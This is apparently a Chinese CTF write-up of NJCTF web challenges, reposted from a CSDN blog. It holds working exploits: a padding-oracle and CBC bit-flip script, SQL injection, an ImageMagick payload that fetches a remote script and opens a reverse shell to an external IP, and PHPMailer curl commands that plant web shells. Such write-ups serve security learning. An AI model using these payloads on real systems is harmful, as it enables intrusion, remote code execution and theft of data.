web100 Login 第一题找到这个登陆界面随便注册一个登进去之后发现在getflag.php界面下有打印了自己的用户名。第一反应是二次注入,随便构造一个提交发现注册成功,而且我多点几次任然注册成功,因为用户名不能重复的,所以想到这里有长度限制试了下发现是50,所以这样就可以想办法重置admin的密码,如下: 这样就成功重置admin的密码,登进去就拿到flag了。 web100 Get Flag 这里随便输入观察下发现服务器会cat你输入的东西,那么很好办,直接用&来进行执行自己的命令就好了,这里;什么的都被过滤了。 然后就不停的向上ls最终flag在服务器的根目录下面,如下图: web300 Be Admin 首先通过备份文件拿到源代码如下: - <?php
- error_reporting(0);
- define("SECRET_KEY", "......");
- define("METHOD", "aes-128-cbc");
-
- session_start();
-
- function get_random_token(){
- $random_token='';
- for($i=0;$i<16;$i++){
- $random_token.=chr(rand(1,255));
- }
- return $random_token;
- }
-
- function get_identity()
- {
- global $defaultId;
- $j = $defaultId;
- $token = get_random_token();
- $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
- $_SESSION['id'] = base64_encode($c);
- setcookie("ID", base64_encode($c));
- setcookie("token", base64_encode($token));
- if ($j === 'admin') {
- $_SESSION['isadmin'] = true;
- } else $_SESSION['isadmin'] = false;
-
- }
-
- function test_identity()
- {
- if (!isset($_COOKIE["token"]))
- return array();
- if (isset($_SESSION['id'])) {
- $c = base64_decode($_SESSION['id']);
- if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) {
- if ($u === 'admin') {
- $_SESSION['isadmin'] = true;
- } else $_SESSION['isadmin'] = false;
- } else {
- die("ERROR!");
- }
- }
- }
-
- function login($encrypted_pass, $pass)
- {
- $encrypted_pass = base64_decode($encrypted_pass);
- $iv = substr($encrypted_pass, 0, 16);
- $cipher = substr($encrypted_pass, 16);
- $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
- return $password == $pass;
- }
-
-
-
- function need_login($message = NULL) {
- echo " <!doctype html>
- <html>
- <head>
- <meta charset="UTF-8">
- <title>Login</title>
- <link rel="stylesheet" href="CSS/target.css">
- <script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
- </head>
- <body>";
- if (isset($message)) {
- echo " <div>" . $message . "</div>\n";
- }
- echo "<form method="POST" action=''>
- <div class="body"></div>
- <div class="grad"></div>
- <div class="header">
- <div>Log<span>In</span></div>
- </div>
- <br>
- <div class="login">
- <input type="text" placeholder="username" name="username">
- <input type="password" placeholder="password" name="password">
- <input type="submit" value="Login">
- </div>
- <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
- </form>
- </body>
- </html>";
- }
-
- function show_homepage() {
- echo "<!doctype html>
- <html>
- <head><title>Login</title></head>
- <body>";
- global $flag;
- printf("Hello ~~~ ctfer! ");
- if ($_SESSION["isadmin"])
- echo $flag;
- echo "<div><a href="logout.php">Log out</a></div>
- </body>
- </html>";
-
- }
-
- if (isset($_POST['username']) && isset($_POST['password'])) {
- $username = (string)$_POST['username'];
- $password = (string)$_POST['password'];
- $query = "SELECT username, encrypted_pass from users WHERE username='$username'";
- $res = $conn->query($query) or trigger_error($conn->error . "[$query]");
- if ($row = $res->fetch_assoc()) {
- $uname = $row['username'];
- $encrypted_pass = $row["encrypted_pass"];
- }
-
- if ($row && login($encrypted_pass, $password)) {
- echo "you are in!" . "</br>";
- get_identity();
- show_homepage();
- } else {
- echo "<script>alert('login failed!');</script>";
- need_login("Login Failed!");
- }
-
- } else {
- test_identity();
- if (isset($_SESSION["id"])) {
- show_homepage();
- } else {
- need_login();
- }
- }
复制代码
初步观察和secconctf2016 biscuiti的源代码有点类似,进过观察分析之后初步确定思路,首先我们知道加密后的ID,也就是密文,以及token,也就是初始向量,然后我们的目的是要提交token使ID解出来为admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b(PS:加密填充之后),这样子就会是admin的值就能成功绕过验证,而要达到这样的目的我们首先需要通过padding oracle拿到ID对应的明文,然后进行CBC字节翻转攻击,从而实现目标,相比与secconctf2016 biscuiti要相对简单,但是中间遇到各式各样的问题,譬如请求提交的时候自己习惯性的先r=request.session(),在这里反倒起了反作用。另外要说的是这道题的服务器肯定有毒,我开始死活跑步出来,查错查了俩小时没发现问题,最后实在受不了了,把所有代码框起来while 1,过了会就拿到flag了,擦,报警了。 其实最开始我的思路是在test_identity那里触发解密进行padding oracle攻击,不过这样来说就只能爆破15位,最后一位无法得到,不过可以通过枚举来尝试,但是由于服务器的锅这样有点慢,所以我还是换成在login那里触发,不过都一样,只要能触发解密控制iv就能进行padding oracle。 下面是代码,直接运行即可得到flag: - import requests
- import base64
- import time
- url='http://218.2.197.235:23737/'
- #url='http://127.0.0.1:8000'
- N=16
- phpsession=""
- ID=""
- def inject1(password):
- param={'username':"' union select 'bendawangbendawangbendawang','{password}".format(password=password),'password':''}
- result=requests.post(url,data=param)
- #print result.content
- return result
-
- def inject_token(token):
- header={"Cookie":"PHPSESSID="+phpsession+";token="+token+";ID="+ID}
- result=requests.post(url,headers=header)
- return result
-
- def xor(a, b):
- return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
-
- def pad(string,N):
- l=len(string)
- if l!=N:
- return string+chr(N-l)*(N-l)
-
- def padding_oracle(N,cipher):
- get=""
- for i in xrange(1,N+1):
- for j in xrange(0,256):
- padding=xor(get,chr(i)*(i-1))
- c=chr(0)*(16-i)+chr(j)+padding+cipher
- print c.encode('hex')
- result=inject1(base64.b64encode(chr(0)*16+c))
- if "ctfer" not in result.content:
- get=chr(j^i)+get
- time.sleep(0.1)
- break
- return get
-
- session=inject1("bendawang").headers['set-cookie'].split(',')
- phpsession=session[0].split(";")[0][10:]
- print phpsession
- ID=session[1][4:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
- token=session[2][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
-
- middle=""
- middle=padding_oracle(N,ID)
- print "ID:"+ID.encode('base64')
- print "token:"+token.encode('base64')
- print "middle:"+middle.encode('base64')
- print "\n"
- if(len(middle)==16):
- plaintext=xor(middle,token);
- print plaintext.encode('base64')
- des=pad('admin',N)
- tmp=""
- print des.encode("base64")
- for i in xrange(16):
- tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
- print tmp.encode('base64')
-
- result=inject_token(base64.b64encode(tmp))
- print result.content
- if "flag" in result.content or "NJCTF" in result.content or 'njctf' in result.content:
- input("success")
复制代码
运行: web350 Text wall 首先同样是通过备份文件.index.php.swo拿到部分源码如下: - <?php
- $lists = [];
- Class filelist{
- public function __toString()
- {
- return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
- }
- }
- //.....
- ?>
复制代码
看到源码之后想到是个反序列化,根据__toString的触发条件构造如下: - <?php
- Class filelist{
- public function __toString()
- {
- return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
- }
- }
- //.....
- $a = new filelist();
- $b= new filelist();
- $b->source = '文件路径';
- $a->source=$b;
- $d=serialize($a);
- $e=sha1($d).$d;
- echo urlencode($e)."<br>";
- ?>
复制代码
然后就能读取文件内容,先读取的index.php,然后在里面得知flag的位置在/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g,读取即获得flag,截图如下 web300 Wallet - <?php
- require_once("db.php");
- $auth = 0;
- if (isset($_COOKIE["auth"])) {
- $auth = $_COOKIE["auth"];
- $hsh = $_COOKIE["hsh"];
- if ($auth == $hsh) {
- $auth = 0;
- } else if (sha1((string)$hsh) == md5((string)$auth)) {
- $auth = 1;
- } else {
- $auth = 0;
- }
- } else {
- $auth = 0;
- $s = $auth;
- setcookie("auth", $s);
- setcookie("hsh", sha1((string)$s));
- }
- if ($auth) {
- if (isset($_GET['query'])) {
- $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
- $qstr = SQLITE3::escapeString($_GET['query']);
- $query = "SELECT amount FROM my_wallets WHERE id=$qstr";
- $result = $db->querySingle($query);
- if (!$result === NULL) {
- echo "Error - invalid query";
- } else {
- echo "Wallet contains: $result";
- }
- } else {
- echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
- }
- } else echo "Sorry, not authorized.";
复制代码
然后发现一个比较sha1((string)$hsh) ==md5((string)$auth),想到弱类型,让两个都为0e开头的值即可,md5这样的很多,sha1的话需要先爆破,进过一番爆破找到一个aaK1STfY,然后就是一个数字型的sqlite注入,这里我直接脑洞出的,先是select flag from flag,不行,然后select 1 fromflag,成功,再然后select id from flag,获得flag,哈哈,省去了一些麻烦事,脑洞万岁!!,最后截图如下: web400 picture’s wall 首先这里登陆的时候发现任何用户用任何密码都能随便登陆,然后进去又说是只有root能上传文件,它怎么区分是不是root呢?搞不懂,然后胡七八糟发现登陆的时候把host改了进去就能上传图片了,然后开始疯狂上传,上传的时候发现它对文件内容没有验证,然后过滤文件名的后缀方式是白名单,像是phtml啊,phps啊,pht啊之类的都能随便上传,访问之后发现它并不解析,只是打印,于是想到用<script>标签,成功上传执行,如下截图: 获取flag: web450 Be Logical 首先进去随便注册一个账户,然后发现自己有500分和0金币,而且二者互换比例是1比1,之后发现一个兑换之后的refund功能,我先用1积分兑然了1金币,之后在refund的时候我抓包把points改成了1e111111,结果竟然成功了,然后我的积分成了这样,晕,太大了, 重新注册一个账户再来一次,然后就有了很多分了,兑换1000购买服务,进去如下: 它的功能就是把你上传的图片进行转化成别的格式,试了半天也没绕过,后来想到是不是imagmagick的命令执行漏洞,随便找了个poc如下: - push graphic-context
- viewbox 0 0 640 480
- fill 'url(https://example.com/image.jpg"|wget http://bendawang.site:8000/a.py -O /tmp/bendawang.py && python /tmp/bendawang.py 104.160.43.154 12346")'
- pop graphic-context1234
-
复制代码
上传,执行成功反弹shell,在机器上找了好久也没有flag,于是想到是不是在别的机器上呢,然后扫一下网段,发现1,19,43三台机器80端口开着,访问一下19,返回一个什么邮件系统,然后瞬间想到之前phpmailer那个cve漏洞,但是需要一个可写的目录,后来脑洞到了一个uploads,访问发现403,好的有了,开始尝试,如下: - curl http://172.17.0.19 -d "subject=aaaaa&email=aaa( -X /var/www/html/uploads/bendawang.php -OQueueDirectory=/tmp )@qq.com&message=<?php phpinfo();?>&submit=Send email"1
复制代码
发现成功执行phpinfo();,然后就开始上传木马,传了半天传了各式各样的木马也不行,算了,直接看看目录文件把,如下: - curl http://172.17.0.19 -d 'subject=aaaaa&email=aaa( -X /var/www/html/uploads/bendawang5.php -OQueueDirectory=/tmp )@qq.com&message=<?php foreach (glob("../*") as $filename){echo $filename."<br>";};?>&submit=Send email'1
复制代码
访问拿到目录下文件如下: - ../PHPMailer<br>../flaaaaaaag.php<br>../index.php<br>../uploads<br>1
复制代码
然后直接获取文件内容就可以了,先是用file_get_content,失败,后来直接system,成功,如下: - curl http://172.17.0.19 -d 'subject=aaaaa&email=aaa( -X /var/www/html/uploads/bendawang9.php -OQueueDirectory=/tmp )@qq.com&message=<?php system("cat ../flaaaaaaag.php");?>&submit=Send email'1
-
复制代码
拿到文件内容如下: - <?php $flag="NJCTF{y0U_r_A_G00oD_PeNt35T3r!}";?>1
复制代码
web350 chall1 然后关键部分如下: - ....
- var reg = /^[0-9]*$/;
- ....
- ....
- router.post('/login', function(req, res, next) {
- if(req.body.password !== undefined) {
- var endata = crypto.createHash('md5').update(req.body.password).digest("hex");
- if (reg.test(endata)) {
- var pwd = parseInt(endata.slice(0,3),10);
- password = new Buffer(pwd);
- if(password.toString('base64') == config.secret_password) {
- req.session.admin = 'yes';
- res.json({'status': 'ok' });
- }else{
- res.json({'status': 'error', 'error': 'password wrong: '+password.toString()});
- }
- }else{
- res.json({'status': 'error', 'error': 'password wrong: '+endata.toString()});
- }
- } else {
- res.json({'status': 'error', 'error': 'password missing' });
- }
- });1234567891011121314151617181920212223
复制代码
也就是说要找一个MD5之后的值全是0-9就好了,爆破之后找到了一个2PP7,然后发送请求如下: 成功泄露内存数据,疯狂尝试之后成功拿到flag web450 chall2 根据第一个拿到的flag,将他作为session_keys 修改源码里面的app.js的为req.session.admin= 'yes';,然后访问获得session.sig 然后修改cookie登陆即可 base64解密之后 web250 Guess 首先是通过文件包含直接获取源码,upload.php的源码如下: - <?php
- error_reporting(0);
- function show_error_message($message)
- {
- die("<div class="msg error" id="message">
- <i class="fa fa-exclamation-triangle"></i>$message</div>");
- }
-
- function show_message($message)
- {
- echo("<div class="msg success" id="message">
- <i class="fa fa-exclamation-triangle"></i>$message</div>");
- }
-
- function random_str($length = "32")
- {
- $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
- "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
- "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
- "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
- "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
- $str = '';
-
- for ($i = 1; $i <= $length; ++$i) {
- $ch = mt_rand(0, count($set) - 1);
- $str .= $set[$ch];
- }
-
- return $str;
- }
-
- session_start();
-
- $reg='/gif|jpg|jpeg|png/';
- if (isset($_POST['submit'])) {
- //10822560
- $seed = rand(0,999999999);
- mt_srand($seed);
- $ss = mt_rand();
- $hash = md5(session_id() . $ss);
- setcookie('SESSI0N', $hash, time() + 3600);
-
- if ($_FILES["file"]["error"] > 0) {
- show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
- }
- $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
- || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
- || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
- || ($_FILES["file-upload-field"]["type"] == "image/png"))
- && ($_FILES["file-upload-field"]["size"] < 204800));
- $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
-
-
- if ($check2) show_error_message("Nope!");
- if ($check1) {
- $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
- if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
- show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
- } else show_error_message("Something wrong with the upload...");
- } else {
- show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
- }
- }
- ?>
复制代码
观察之后发现我们如果有文件名,我们可以通过将木马压缩进zip包,然后上传该zip文件(改成Png后缀上传),利用phar伪协议包含执行命令。 所以我们的核心就是搞到文件名,即想办法搞到$seed。 这里我将一句话写进0.php,压缩之后改名为0.png上传 然后通过这份代码 - <?php
- $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
- "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
- "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
- "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
- "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
- $seed=138844507;
- mt_srand($seed);
- $ss = mt_rand();
- $str="";
- for ($i = 1; $i <= 32; ++$i) {
- $ch = mt_rand(0, count($set) - 1);
- $str .= $set[$ch];
- }
- echo $str;
- ?>
复制代码
生成文件名的前一部分为iT3Bip2WzUVhBITZPZrfTVeZjgmrK1DQ,加上我们上传的0.png,所以完整的文件路径为/uP1O4Ds/iT3Bip2WzUVhBITZPZrfTVeZjgmrK1DQ_0.png,然后访问 http://218.2.197.235:23735/?page=phar://uP1O4Ds/iT3Bip2WzUVhBITZPZrfTVeZjgmrK1DQ_0.png/0,最后执行命令即可拿到flag。 如下:
版权声明:本文为CSDN博主「Bendawang」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
|